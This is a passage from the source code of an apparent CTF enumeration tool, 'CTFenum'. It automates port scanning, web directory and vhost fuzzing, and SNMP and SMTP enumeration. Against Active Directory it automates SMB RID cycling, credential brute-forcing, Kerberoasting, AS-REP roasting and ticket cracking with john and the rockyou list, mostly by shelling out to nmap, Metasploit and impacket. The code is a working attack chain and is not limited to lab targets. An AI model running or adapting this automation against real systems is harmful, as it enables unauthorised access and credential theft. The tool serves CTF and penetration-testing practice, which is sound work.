Fuzzing for ASP, ASPX files.', GREEN) 141 | extensions.append('asp') 142 | extensions.append('php') 143 | extensions.append('aspx') 144 | elif ('Simple' in server_header) and ('Python' in server_header): 145 | printc('[!] Python Development Server, Directory listing should be enabled.', GREEN) 146 | 147 | else: 148 | print('[!] Unknown Server') 149 | 150 | printc(f'[+] {server_header}', BLUE) 151 | except Exception as e: 152 | printc(f'[-] {e}', RED) 153 | return 154 | 155 | try: 156 | for technology in technologies: 157 | if technology in response.headers: 158 | tech.append(response.headers[technology]) 159 | 160 | if len(tech) > 0: 161 | print('[!] Possible Technologies') 162 | for technology in tech: 163 | printc(f'[+] {technology}', BLUE) 164 | log('\n'.join(tech), '', host) 165 | except Exception as e: 166 | printc(f'[-] {e}', RED) 167 | return 168 | 169 | 170 | def make_request(base_url): 171 | if not is_valid_url(base_url): return 172 | response = None 173 | try: 174 | response = requests.get(base_url, verify=False, allow_redirects=False) 175 | except requests.exceptions.SSLError as e: 176 | try: 177 | response = requests.get('http://' + base_url.split('://')[1], verify=False, allow_redirects=True) 178 | except Exception as e: 179 | error = str(e) 180 | if ('(' in error): 181 | error = error.replace(')', '').replace('(', '\n') 182 | printc(f'[-] {error}', RED) 183 | except Exception as e: 184 | error = str(e) 185 | if ('(' in error): 186 | error = error.replace(')', '').replace('(', '\n') 187 | printc(f'[-] {error}', RED) 188 | return response 189 | 190 | 191 | def http_extract_comments(response): 192 | if not response: return 193 | 194 | global comments_founded 195 | body = str(response.text) 196 | results_html = re.findall(r'()', body) 197 | results_version = re.findall(r'.*"(.{1,40}\d{1,1}\.\d{1,2}\.\d{0,2}.{1,40})".*\n', body) 198 | results_version_two = re.findall(r'.*>(.{1,40}\d{1,1}\.\d{1,2}\.\d{0,2}.{1,40})<.*\n', body) 199 | comments_founded += results_html 200 | comments_founded += results_version 201 | comments_founded += results_version_two 202 | 203 | 204 | def get_domain(url): 205 | # Parse the URL and extract the hostname 206 | parsed_url = urlparse(url) 207 | hostname = parsed_url.hostname 208 | 209 | # If there is no hostname, the URL might be invalid 210 | if not hostname: 211 | return None 212 | 213 | # Split the hostname into parts 214 | parts = hostname.split('.') 215 | 216 | # If the hostname is just an IP address or doesn't contain enough parts, return it as is 217 | if len(parts) < 2: 218 | return hostname 219 | 220 | # Return the domain and TLD 221 | return '.'.join(parts[-2:]) 222 | 223 | 224 | def call_ferox(filename, ip, port, proto='http', checkdns=True, silent=True): 225 | global urls_founded 226 | global server 227 | 228 | base_url = update_url(ip, port) 229 | cmd_printed = False 230 | if silent: 231 | cmd = f'feroxbuster -u {base_url} -w {filename} -x {",".join(list(set(extensions)))} -t 100 --no-state --extract-links -C 400,401,403,404,501,502,503 -r -k -E -g -d 1 --silent' 232 | else: 233 | cmd = f'feroxbuster -u {base_url} -w {filename} -x {",".join(list(set(extensions)))} -t 100 --no-state --extract-links -C 400,401,403,404,501,502,503 -r -k -E -g -d 1 -q' 234 | 235 | try: 236 | process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True) 237 | 238 | while True: 239 | line = process.stdout.readline() 240 | if not line: 241 | break 242 | elif is_blacklisted_url(line) or (line.strip() == ''): 243 | continue 244 | # Identifies if there was an internal subdomain error 245 | # feroxbuster is called again without --silent parameter in order to 246 | # identify this subdomain 247 | elif ('could not connect' in line.lower()) and silent: 248 | silent = False 249 | call_ferox(filename, ip, port, proto, checkdns, silent) 250 | cmd_printed =True 251 | 252 | log('', cmd, ip, 'feroxbuster') 253 | break 254 | # When feroxbuster is called withour --silent parameter 255 | # we captures this error to extract the domain where 256 | # we have been redirected 257 | elif ('operation timed out' in line.lower()): 258 | domain_and_port = line.split('/')[2] 259 | host = domain_and_port.split(':')[0] 260 | if (host != ip) and checkdns: 261 | global domain 262 | if (domain == ''): 263 | domain = get_domain(host) 264 | # Register the new domain/subdomain 265 | if not register_subdomains([host], ip): 266 | break 267 | checkdns = False 268 | 269 | # We make a test to see if there is HTTPS and use it as prefered Protocol 270 | response = make_request(update_url(host, port, 'https')) 271 | if response: proto = 'https' 272 | 273 | # Once the subdomain is registered we tries to identify the technologies on it 274 | server = '' 275 | http_identify_server(host, port, proto) 276 | 277 | # This time we call feroxbuster with the address of the registered domain 278 | silent = True 279 | call_ferox(filename, host, port, proto, checkdns, silent) 280 | cmd_printed = True 281 | break 282 | else: 283 | if not cmd_printed: print(f'[!] {cmd}\n'); cmd_printed = True 284 | line = line.strip() 285 | if line not in urls_founded: 286 | urls_founded.append(line) 287 | print(line) 288 | 289 | log(line, '', ip, 'feroxbuster') 290 | process.kill() 291 | 292 | except Exception as e: 293 | if not cmd_printed: print(f'[!] {cmd}\n') 294 | printc(f'[-] {e}', RED) 295 | return None 296 | 297 | return urls_founded 298 | 299 | 300 | def http_fuzz_subdomains(port): 301 | filename = fast_wordlist 302 | 303 | cmd = f'gobuster vhost -u {domain} -w {filename} -t 70 -z --no-error --append-domain -k' 304 | try: 305 | output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, universal_newlines=True) 306 | except: 307 | return 308 | if output: 309 | log(output, cmd, domain, 'gobuster') 310 | results = output.splitlines() 311 | subdomains = [] 312 | for line in results: 313 | if (domain in line): 314 | subdomain = line.split(' ')[1] 315 | subdomains.append(subdomain) 316 | register_subdomains(subdomains, cmd) 317 | 318 | if len(subdomain) > 0: 319 | for host in subdomains: 320 | for url in urls_founded: 321 | if host not in url: call_ferox(filename, host, port) 322 | 323 | 324 | def update_url(host, port, proto='http'): 325 | return f'{proto}://{host}:{port}' 326 | 327 | 328 | def handle_http(ip, port): 329 | #printc('http', RED) 330 | 331 | error_display_port = port 332 | 333 | create_short_wordlist() 334 | 335 | # PINT BANNER 336 | print_banner(error_display_port) 337 | # IDENTIFY SERVER TECHNOLOGIES 338 | http_identify_server(ip, port) 339 | # PRINT INITIAL URL 340 | printc(f'[!] URL: {update_url(ip, port)}', GREEN) 341 | # LAUNCH FEROXBUSTER 342 | urls = call_ferox(fast_wordlist, ip, port) 343 | print('') 344 | # EXTRACT COMMENTS 345 | if len(urls) > 0: 346 | for url in urls: 347 | http_extract_comments(make_request(url)) 348 | # PRINT COMMENTS 349 | if len(comments_founded) > 0: 350 | print(f'[!] Comments found:') 351 | data = '\n'.join(list(set(comments_founded))) 352 | printc(data, GREEN) 353 | 354 | log(data, '', ip) 355 | # FUZZ SUBDOMAINS 356 | if (domain != ''): 357 | http_fuzz_subdomains(port) 358 | 359 | -------------------------------------------------------------------------------- /CTFenum/mods/mod_imap.py: -------------------------------------------------------------------------------- 1 | from mods.mod_utils import * 2 | import subprocess 3 | 4 | def handle_imap(ip, port): 5 | cmd = f"msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {ip}; set RPORT {port}; run; exit'" 6 | output = None 7 | 8 | try: 9 | output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, universal_newlines=True) 10 | 11 | if output: 12 | print_banner(port) 13 | print('[!] IMAP ') 14 | print('[!] https://book.hacktricks.xyz/network-services-pentesting/pentesting-imap') 15 | print('[!] If you get creds, use this client to dump the emails: https://github.com/josemlwdf/IMAP-Mail-Dumper') 16 | print(f'[!] {cmd}') 17 | printc(output, BLUE) 18 | except: 19 | return 20 | -------------------------------------------------------------------------------- /CTFenum/mods/mod_kerberos.py: -------------------------------------------------------------------------------- 1 | from mods.mod_utils import * 2 | from mods.mod_smb import * 3 | import subprocess 4 | import os 5 | 6 | 7 | def enum_users(target, domain): 8 | filename = '/usr/share/seclists/Usernames/Names/names.txt' 9 | cmd = f'nmap -Pn -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm="{domain}",userdb="{filename}" {target}' 10 | output = None 11 | users = [] 12 | try: 13 | output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, universal_newlines=True) 14 | 15 | if output: 16 | if ('Discovered' in output): 17 | print_banner('88') 18 | print('[!] KERBEROS') 19 | print(f'[!] {cmd}') 20 | printc('[+] Some usernames where found.', GREEN) 21 | for line in output.splitlines(): 22 | if domain in line: 23 | user = line.split('@')[0].split(' ')[-1] 24 | printc(user, BLUE) 25 | users.append(user) 26 | log(output, cmd, target, 'nmap') 27 | except Exception as e: 28 | if not os.path.exists(filename): 29 | print(f'[-] {filename} does not exist.\nPlease install seclists.') 30 | printc(f'[-] {e}', RED) 31 | return users 32 | return users 33 | 34 | 35 | def check_rockyou(): 36 | if not os.path.exists('/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt'): 37 | if os.path.exists('/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz'): 38 | unzip_cmd = 'tar -xzf /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz' 39 | print('[!] Trying to unzip rockyou.txt.') 40 | print(f'[!] {unzip_cmd}') 41 | try: 42 | subprocess.check_output(unzip_cmd, shell=True, stderr=subprocess.STDOUT, universal_newlines=True) 43 | mv_cmd = 'mv rockyou.txt /usr/share/seclists/Passwords/Leaked-Databases/' 44 | subprocess.check_output(mv_cmd, shell=True, stderr=subprocess.STDOUT, universal_newlines=True) 45 | except Exception as e: 46 | printc(f'[-] {e}', RED) 47 | else: 48 | print('[!] Seclist is not installed or rockyou.txt.tar.gz is not on the default folder.') 49 | 50 | 51 | def crack_tickets(): 52 | if os.path.exists('/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt'): 53 | print('[!] Trying to crack the tickets.') 54 | john_cmd = 'john tickets.txt -w=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt --rules=best64' 55 | print(f'[!] {john_cmd}') 56 | output = None 57 | try: 58 | output = subprocess.check_output(john_cmd, shell=True, stderr=subprocess.STDOUT, universal_newlines=True) 59 | except Exception as e: 60 | printc(f'[-] {e}', RED) 61 | if output: 62 | printc('[+] Tickets cracked successfully.', GREEN) 63 | print(output) 64 | 65 | log(output, john_cmd, '', 'john') 66 | 67 | 68 | def print_cracking_cmd(): 69 | print('[!] To crack the tickets you can use john.') 70 | print('[!] john tickets.txt -w=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt --rules=best64') 71 | print('[!] If the command does not work, unzip the rockyou.txt wordlist first') 72 | 73 | 74 | def check_kerberoast(target, domain, user='Guest', passw=''): 75 | cmd = f'impacket-GetUserSPNs {domain}/{user}:{passw} -dc-ip {target} -stealth -request -output tickets.txt' 76 | 77 | if (user == 'Guest'): 78 | cmd = f'impacket-GetUserSPNs {domain}/jhon.doe -no-pass -dc-ip {target} -stealth -request -output tickets.txt' 79 | 80 | try: 81 | output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, universal_newlines=True) 82 | except Exception as e: 83 | printc(f'[-] {e}', RED) 84 | 85 | if output: 86 | if ('ServicePrincipalName' in output): 87 | print_banner('88') 88 | print('[!] KERBEROS') 89 | print(f'[!] {cmd}') 90 | printc(f'[+] Some Kerberoastable users where found with the credentials "{user}:{passw}"', GREEN) 91 | for line in output.splitlines(): 92 | passw_last_set = re.findall(r'....-..-..\s.*:.*:.*\.', line) 93 | if passw_last_set: 94 | re_user = re.findall(r'.+\s(\w+)\s', line) 95 | if re_user: 96 | kerberoastable_user = re_user[0] 97 | printc(f'[+] {kerberoastable_user}', BLUE) 98 | log(output, cmd, target, 'impacket-GetUserSPNs') 99 | 100 | 101 | cmd = f'impacket-GetUserSPNs {domain}/{user}:{passw} -dc-ip {target} -stealth -request -output tickets.txt' 102 | output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, universal_newlines=True) 103 | 104 | print_separator() 105 | print('[!] Requesting tickets.') 106 | print(f'[!] {cmd}') 107 | 108 | log(output, cmd, target, 'impacket-GetUserSPNs') 109 | 110 | if ('KRB_AP_ERR_SKEW' in output): 111 | printc('[-] Requesting tickets failed.', RED) 112 | print('[!] Trying to Synchronize TIME with server.') 113 | time_cmd = f'sntp -sS {target}' 114 | print(f'[!] {time_cmd}') 115 | output = subprocess.check_output(time_cmd, shell=True, stderr=subprocess.STDOUT, universal_newlines=True) 116 | 117 | log(output, time_cmd, target, 'sntp') 118 | 119 | if not output: 120 | printc('[-] Synchronize failed.', RED) 121 | return 122 | printc('[+] Synchronize Success.', GREEN) 123 | print('[!] Requesting tickets.') 124 | 125 | output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, universal_newlines=True) 126 | if output: 127 | log(output, cmd, target, 'impacket-GetUserSPNs') 128 | else: 129 | printc('[-] Tickets request failed. Try again.', RED) 130 | return 131 | if os.path.exists('tickets.txt'): 132 | printc('[+] Tickets stored in tickets.txt', GREEN) 133 | print_cracking_cmd() 134 | print_separator() 135 | try: 136 | check_rockyou() 137 | except Exception as e: 138 | printc(f'[-] {e}', RED) 139 | 140 | 141 | def check_smb_credentials(target, domain): 142 | #print('checking smb credentials file') 143 | # Check credentials founded on SMB first: 144 | if os.path.exists('smb_credentials.txt'): 145 | with open('smb_credentials.txt', 'r') as file: 146 | credentials = file.readlines() 147 | cred = '' 148 | for item in credentials: 149 | if ('Guest' not in item) and (':' in item): 150 | cred = item 151 | user, passwd = cred.split(':')[:2] 152 | #print('check kerberoast with creds') 153 | check_kerberoast(target, domain, user, passwd) 154 | #print('try to regenerate smb_users.txt file using creds before asreproast') 155 | rid_cycling(target=target, domain=domain, user=user, passw=passwd) 156 | #print('check asreproast with creds') 157 | check_asreproast(target, domain, user, passwd) 158 | return True 159 | return False 160 | 161 | 162 | def check_asreproast(target, domain, user='Guest', passw=''): 163 | # NULL 164 | filename = 'smb_users.txt' 165 | if not (os.path.exists(filename)): return 166 | if (user == 'Guest'): 167 | cmd = f'impacket-GetNPUsers -no-pass {domain}/guest -dc-ip {target} -usersfile {filename} -output tickets.txt' 168 | # Creds 169 | cmd = f'impacket-GetNPUsers {domain}/{user}:{passw} -dc-ip {target} -usersfile {filename} -output tickets.txt' 170 | 171 | try: 172 | output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, universal_newlines=True) 173 | except Exception as e: 174 | printc(f'[-] {e}', RED) 175 | 176 | if output: 177 | if (domain.upper() in output): 178 | banner_printed = False 179 | for line in output.splitlines(): 180 | if (domain.upper() in line) and (target not in line): 181 | if not banner_printed: 182 | print_banner('88') 183 | print('[!] KERBEROS') 184 | print(f'[!] {cmd}') 185 | printc('[+] ASREPRoastable accounts founded.', GREEN) 186 | printc(f'[+] {line}', BLUE) 187 | log(output, cmd, target, 'impacket-GetNPUsers') 188 | 189 | 190 | def bruteforce_kerberos_users(target, domain): 191 | # Try to bruteforce Usernames 192 | users = enum_users(target, domain) 193 | 194 | if (len(users) > 0): 195 | # Try to bruteforce users credentials 196 | export_wordlists(users, smb_passwords) 197 | bruteforce(target, '445') 198 | if not check_smb_credentials(target, domain): 199 | # Check Kerberoast using guest creds 200 | check_kerberoast(target, domain) 201 | check_asreproast(target, domain) 202 | 203 | 204 | 205 | def handle_kerberos(target, domain): 206 | #printc('kerberos', RED) 207 | 208 | if (len(domain) < 3): return 209 | rid_cycling(target=target, domain=domain) 210 | if os.path.exists('smb_users.txt'): 211 | bruteforce(target, 445) 212 | if not check_smb_credentials(target, domain): 213 | bruteforce_kerberos_users(target, domain) -------------------------------------------------------------------------------- /CTFenum/mods/mod_nmap.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import re 3 | from mods.mod_utils import * 4 | 5 | # Add 2 new lines before and after the nmap outputs tot he debug files 6 | debug = False 7 | 8 | def nmap_udp(ip, output_dict): 9 | cmd = f'nmap -F -T4 -sU -Pn --max-parallelism 512 --min-rtt-timeout 50ms --max-retries 1 -n --open {ip}' 10 | output = '' 11 | 12 | try: 13 | output = subprocess.check_output(cmd.split(' '), stderr=subprocess.STDOUT, universal_newlines=True) 14 | ports = '' 15 | 16 | result = re.findall(r'@n@(PORT .+@n@@n@)', output.replace('\n', '@n@')) 17 | 18 | if result: 19 | output = result[0].replace('@n@', '\n').replace('\n\n', '') 20 | 21 | print_separator() 22 | printc('OPEN UDP PORTS:', YELLOW) 23 | print(f'[!] {cmd}') 24 | print(output) 25 | 26 | log(output, cmd, ip, 'nmap') 27 | 28 | ports = re.findall(r'@n@([0-9]+)/', result[0]) 29 | ports = ','.join(ports) 30 | 31 | output_dict['nmap_udp_ports'] = ports 32 | except: 33 | pass 34 | return output_dict 35 | 36 | 37 | def nmap_tcp(ip, output_dict): 38 | cmd = f'nmap -Pn -T4 -n -p- {ip}' 39 | output = '' 40 | 41 | try: 42 | if not debug: 43 | output = subprocess.check_output(cmd.split(' '), stderr=subprocess.STDOUT, universal_newlines=True) 44 | else: 45 | with open('nmap.txt') as file: 46 | output = file.read() 47 | ports = '' 48 | 49 | result = re.findall(r'@n@(PORT .+@n@@n@)', output.replace('\n', '@n@')) 50 | 51 | if result: 52 | output = result[0].replace('@n@', '\n').replace('\n\n', '') 53 | 54 | print_separator() 55 | printc('OPEN TCP PORTS:', YELLOW) 56 | print(f'[!] {cmd}') 57 | print(output) 58 | 59 | log(output, cmd, ip, 'nmap') 60 | 61 | ports = re.findall(r'@n@([0-9]+)/', result[0]) 62 | ports = ','.join(ports) 63 | 64 | output_dict['nmap_tcp_ports'] = ports 65 | except Exception as e: 66 | #print(e) 67 | pass 68 | return output_dict 69 | 70 | 71 | def nmap_detailed_tcp_scan(ip, ports, output_dict): 72 | blacklisted = ['23', '25'] 73 | test_ports = ports.split(',') 74 | 75 | for blacklisted_port in blacklisted: 76 | for port in test_ports: 77 | if (blacklisted_port == port): 78 | printc('[!] I have identified some services that slows Nmap', YELLOW) 79 | printc(f'[!] Some of these ports will be removed from the detailed scan: {blacklisted_port}', YELLOW) 80 | printc('[!] This scan could still take some time. Be patient', YELLOW) 81 | try: 82 | test_ports.remove(blacklisted_port) 83 | except: 84 | continue 85 | ports = ','.join(test_ports) 86 | 87 | cmd = f'nmap -T5 -n -Pn -sCV -p{ports} {ip}' 88 | 89 | try: 90 | if not debug: 91 | output = subprocess.check_output(cmd.split(' '), stderr=subprocess.STDOUT, universal_newlines=True) 92 | else: 93 | with open('nmap2.txt') as file: 94 | output = file.read() 95 | 96 | result = re.findall(r'@n@(PORT .+@n@@n@)', output.replace('\n', '@n@')) 97 | 98 | if result: 99 | output = result[0].replace('@n@', '\n').replace('\n\n', '') 100 | 101 | print_separator() 102 | print('NMAP TCP OUTPUT:') 103 | print(f'[!] {cmd}') 104 | print(output) 105 | 106 | log(output, cmd, ip, 'nmap') 107 | 108 | output_dict['nmap_detailed'] = output 109 | except: 110 | pass 111 | return output_dict 112 | 113 | 114 | def nmap(ip): 115 | #printc('nmap', RED) 116 | print_separator() 117 | print('[!] Checking open ports') 118 | # Get open ports on target 119 | output_dict = {} 120 | 121 | # Start processes to execute the nmap commands 122 | output_dict = nmap_tcp(ip, output_dict) 123 | if not debug: 124 | output_dict = nmap_udp(ip, output_dict) 125 | 126 | print_separator() 127 | print('[!] Generating Nmap output') 128 | 129 | tcp_ports = output_dict.get('nmap_tcp_ports', '') 130 | 131 | if tcp_ports: 132 | output_dict = nmap_detailed_tcp_scan(ip, tcp_ports, output_dict) 133 | 134 | if not debug: 135 | udp_ports = output_dict.get('nmap_udp_ports', '') 136 | 137 | return output_dict 138 | -------------------------------------------------------------------------------- /CTFenum/mods/mod_smb.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import re 3 | from mods.mod_utils import * 4 | import os 5 | 6 | smb_users = ["admin","user","manager","supervisor","administrator","test","operator","backup","lab","demo","smb"] 7 | original_users_len = len(smb_users) 8 | smb_passwords = ["Password123!"] 9 | domain = '.' 10 | credentials = [] 11 | 12 | 13 | def export_wordlists(_smb_users, _smb_paswords): 14 | with open('smb_users.txt', 'w') as file: 15 | file.write('\n'.join(_smb_users)) 16 | file.close() 17 | 18 | with open('smb_pass.txt', 'w') as file: 19 | file.write('\n'.join(_smb_paswords)) 20 | file.close() 21 | 22 | 23 | def export_credentials(): 24 | with open('smb_credentials.txt', 'w') as file: 25 | file.write('\n'.join(credentials)) 26 | file.close() 27 | printc('[+] Credentials stored in smb_credentials.txt', GREEN) 28 | 29 | 30 | def rid_cycling(target, user="Guest", passw="", domain="."): 31 | cmd = f'msfconsole -q -x "use scanner/smb/smb_lookupsid;set RHOSTS {target};set SMBUser {user};set SMBPass {passw};set MinRID 500;set MaxRID 5000;set THREADS 10;set SMBDomain {domain};run;exit;"' 32 | 33 | try: 34 | output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, universal_newlines=True) 35 | except Exception as e: 36 | printc(f'[-] {e}', RED) 37 | return 38 | if output: 39 | if ('USER' in output): 40 | rid_cycling_parse(output, cmd, user, passw) 41 | 42 | log(output, cmd, target, 'msfconsole') 43 | 44 | 45 | def rid_cycling_parse(output, cmd, user='', passw=''): 46 | global domain 47 | global smb_users 48 | 49 | print_banner('445') 50 | print('[!]', cmd) 51 | printc('[+] RID Cycling Attack to get Usernames', GREEN) 52 | print(f'[!] Using these creds: {user} / {passw}') 53 | print('') 54 | 55 | temp_users = [] 56 | 57 | for line in output.splitlines(): 58 | if ('DOMAIN' in line) and ('LOCAL' in line) and (domain == '.'): 59 | domain = re.findall(r'LOCAL.*DOMAIN\((.*) -', line)[0] 60 | printc(f'[+] Domain: {domain}', BLUE) 61 | if ('USER' in line): 62 | user = re.findall(r'USER=(.*)\sRID', line)[0] 63 | printc(f'[+] {user}', BLUE) 64 | temp_users.append(user) 65 | if len(temp_users) > 0: 66 | smb_users += temp_users 67 | smb_users = list(set(smb_users)) 68 | export_wordlists(smb_users, smb_passwords) 69 | 70 | 71 | def bruteforce(target, port): 72 | global credentials 73 | cmd = f'msfconsole -q -x "use scanner/smb/smb_login;set rhosts {target};set RPORT {port};set SMBDomain {domain};set USER_AS_PASS true;set BLANK_PASSWORDS false;set PASS_FILE $(pwd)/smb_pass.txt; set USER_FILE $(pwd)/smb_users.txt;set VERBOSE false;run;exit;"' 74 | 75 | try: 76 | output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, universal_newlines=True) 77 | except Exception as e: 78 | printc(f'[-] {e}', RED) 79 | return 80 | 81 | if output: 82 | if ('[+]' in output): 83 | print_banner('445') 84 | print('[!]', cmd) 85 | printc('[+] Creds Found!!!', GREEN) 86 | print('') 87 | for line in output.splitlines(): 88 | creds = re.findall(r"Success:\s\'(.*)\'", line) 89 | if creds: 90 | creds = creds[0].split('\\')[1] 91 | if (creds.split(':')[1] == ''): continue 92 | printc(f'[+] {creds}', BLUE) 93 | credentials.append(creds) 94 | 95 | log(output, cmd, target, 'msfconsole') 96 | 97 | if credentials: 98 | export_credentials() 99 | 100 | 101 | def enumerate_shares(target, user='Guest', passw='', domain='.'): 102 | cmd = f'msfconsole -q -x "use scanner/smb/smb_enumshares;set RHOSTS {target};set SMBPass {passw};set SMBUser {user};set SMBDomain {domain};set LogSpider 0;set MaxDepth 0;set ShowFiles true;set SpiderShares true;run;exit;"' 103 | 104 | try: 105 | output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, universal_newlines=True) 106 | except Exception as e: 107 | printc(f'[-] {e}', RED) 108 | return 109 | 110 | if output: 111 | if ('[+]' in output): 112 | print_banner('445') 113 | print('[!]', cmd) 114 | print('[!] Enumerating Shares.') 115 | print('') 116 | print(output) 117 | 118 | log(output, cmd, target, 'msfconsole') 119 | 120 | 121 | def handle_smb(target, port): 122 | #printc('smb', RED) 123 | 124 | if not os.path.exists('smb_credentials.txt'): 125 | # RID CYCLING AS NULL 126 | rid_cycling(target, user='') 127 | # RID CYCLING AS GUEST 128 | rid_cycling(target) 129 | # If no usernames where founded, bruteforce with common users and pass 130 | export_wordlists(smb_users, smb_passwords) 131 | # BRUTEFORCE LOGIN 132 | bruteforce(target, port) 133 | 134 | # ENUMERATE SHARES 135 | # SHARES AS GUEST 136 | enumerate_shares(target) 137 | # SHARES AS NULL 138 | enumerate_shares(target, user='') 139 | 140 | if os.path.exists('smb_credentials.txt'): 141 | global credentials 142 | with open('smb_credentials.txt', 'r') as file: 143 | credentials = file.readlines() 144 | cred = '' 145 | if (len(credentials)>0): 146 | for cred in credentials: 147 | if ('Guest' not in cred) and (':' in cred): 148 | user, passw = cred.split(':')[:2] 149 | # RID CYCLING WITH CREDS 150 | rid_cycling(target, user, passw, domain) 151 | # SHARES WITH CREDS 152 | enumerate_shares(target, user, passw, domain) 153 | 154 | try: 155 | os.remove('smb_users.txt') 156 | os.remove('smb_pass.txt') 157 | if not credentials: 158 | os.remove('smb_credentials.txt') 159 | except Exception as e: 160 | pass 161 | #printc(f'[-] {e}', RED) -------------------------------------------------------------------------------- /CTFenum/mods/mod_smtp.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | from mods.mod_utils import * 3 | 4 | def handle_smtp(ip): 5 | cmd = f'msfconsole -q -x "use auxiliary/scanner/smtp/smtp_enum;set RHOSTS {ip};set UNIXONLY false;set USER_FILE /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt;run;exit;"' 6 | output = None 7 | 8 | try: 9 | output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, universal_newlines=True) 10 | if output: 11 | print_banner('25') 12 | print('[!] SMTP') 13 | print(f'[!] {cmd}') 14 | print(output) 15 | log(output, cmd, ip, 'msfconsole') 16 | except: 17 | return 18 | -------------------------------------------------------------------------------- /CTFenum/mods/mod_snmp.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | from mods.mod_utils import * 3 | import re 4 | 5 | def snmp_get_community(ip): 6 | cmd = f"msfconsole -q -x 'use scanner/snmp/snmp_login; set RHOSTS {ip}; set ANONYMOUS_LOGIN true; set BLANK_PASSWORDS true; set STOP_ON_SUCCESS true; set VERBOSE false; set VERSION all; run; exit'|grep '+'" 7 | community = 'public' 8 | output = None 9 | 10 | try: 11 | output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, universal_newlines=True) 12 | 13 | if output: 14 | community_array = re.findall(r'Login Successful: (.*) \(Access?', output) 15 | if community_array: 16 | community = community_array[0] 17 | print_banner('161') 18 | print('[!] SNMP') 19 | print(f'[!] {cmd}') 20 | printc(f'[+] Community password: {community}', GREEN) 21 | print(output) 22 | 23 | log(output, cmd, ip, 'msfconsole') 24 | except: 25 | pass 26 | 27 | return community 28 | 29 | 30 | def snmp_enum(ip): 31 | cmd = f"nmap {ip} -sU -T5 -p161 -sV --script='snmp* and not snmp-brute'" 32 | output = None 33 | 34 | try: 35 | output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, universal_newlines=True) 36 | 37 | if output: 38 | print_banner('161') 39 | print('[!] SNMP') 40 | print(f'[!] {cmd}') 41 | result = re.findall(r'@n@(PORT .+@n@@n@)', output.replace('\n', '@n@')) 42 | if result: 43 | print(result[0].replace('@n@', '\n').replace('\n\n', '')) 44 | 45 | log(output, cmd, ip, 'nmap') 46 | except: 47 | return 48 | 49 | 50 | def snmp_get_strings(ip, community): 51 | versions = ['1', '2c'] 52 | options = ['', 'NET-SNMP-EXTEND-MIB::nsExtendObjects'] 53 | 54 | for version in versions: 55 | for option in options: 56 | cmd = f"snmpwalk -Oa -c {community} -v {version} -t 10 {ip} {option}" 57 | 58 | if option == '': 59 | cmd = f"snmpwalk -Oa -c {community} -v {version} -t 10 {ip} | grep -i 'STRING'" 60 | 61 | output = None 62 | 63 | try: 64 | output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, universal_newlines=True) 65 | 66 | if output: 67 | print_banner('161') 68 | print('[!] SNMP') 69 | print(f'[!] {cmd}') 70 | print(output) 71 | 72 | log(output, cmd, ip, 'snmpwalk') 73 | except: 74 | return 75 | 76 | 77 | def handle_snmp(ip): 78 | #printc('snmp', RED) 79 | 80 | community = snmp_get_community(ip) 81 | snmp_enum(ip) 82 | snmp_get_strings(ip, community) -------------------------------------------------------------------------------- /CTFenum/mods/mod_telnet.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | from mods.mod_utils import * 3 | 4 | def handle_telnet(ip): 5 | cmd = f'nmap -n -T5 -sV -Pn --script=telnet-ntlm-info -p 23 {ip}' 6 | output = None 7 | 8 | try: 9 | output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, universal_newlines=True) 10 | 11 | if output: 12 | result = re.findall(r'@n@(PORT .+@n@@n@)', output.replace('\n', '@n@'))[0] 13 | if result: 14 | print_banner('23') 15 | print('[!] TELNET') 16 | print(f'[!] {cmd}') 17 | print(result) 18 | 19 | log(output, cmd, ip, 'nmap') 20 | except: 21 | return -------------------------------------------------------------------------------- /CTFenum/mods/mod_tftp.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | from mods.mod_utils import * 3 | 4 | def handle_tftp(ip): 5 | cmd = f'msfconsole -q -x "use admin/tftp/tftp_transfer_util;set rhost {ip};set filename /etc/hostname;run;exit;"' 6 | output = None 7 | 8 | try: 9 | output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, universal_newlines=True) 10 | 11 | if 'WRQ accepted, sending the file' in output: 12 | print_banner('69 UDP') 13 | print('[!] TFTP') 14 | printc('[+] TFTP server allows PUT files.', GREEN) 15 | print('[!] You can also try to bruteforce filenames to download.') 16 | 17 | log(output, cmd, ip, 'msfconsole') 18 | except: 19 | return -------------------------------------------------------------------------------- /CTFenum/mods/mod_utils.py: -------------------------------------------------------------------------------- 1 | from colorama import init, Fore, Back, Style 2 | import re 3 | import requests 4 | import subprocess 5 | import sys 6 | from os import system 7 | 8 | # Initialize colorama 9 | init() 10 | 11 | YELLOW = 'YELLOW' 12 | BLACK = 'BLACK' 13 | RED = 'RED' 14 | GREEN = 'GREEN' 15 | BLUE = 'BLUE' 16 | MAGENTA = 'MAGENTA' 17 | CYAN = 'CYAN' 18 | WHITE = 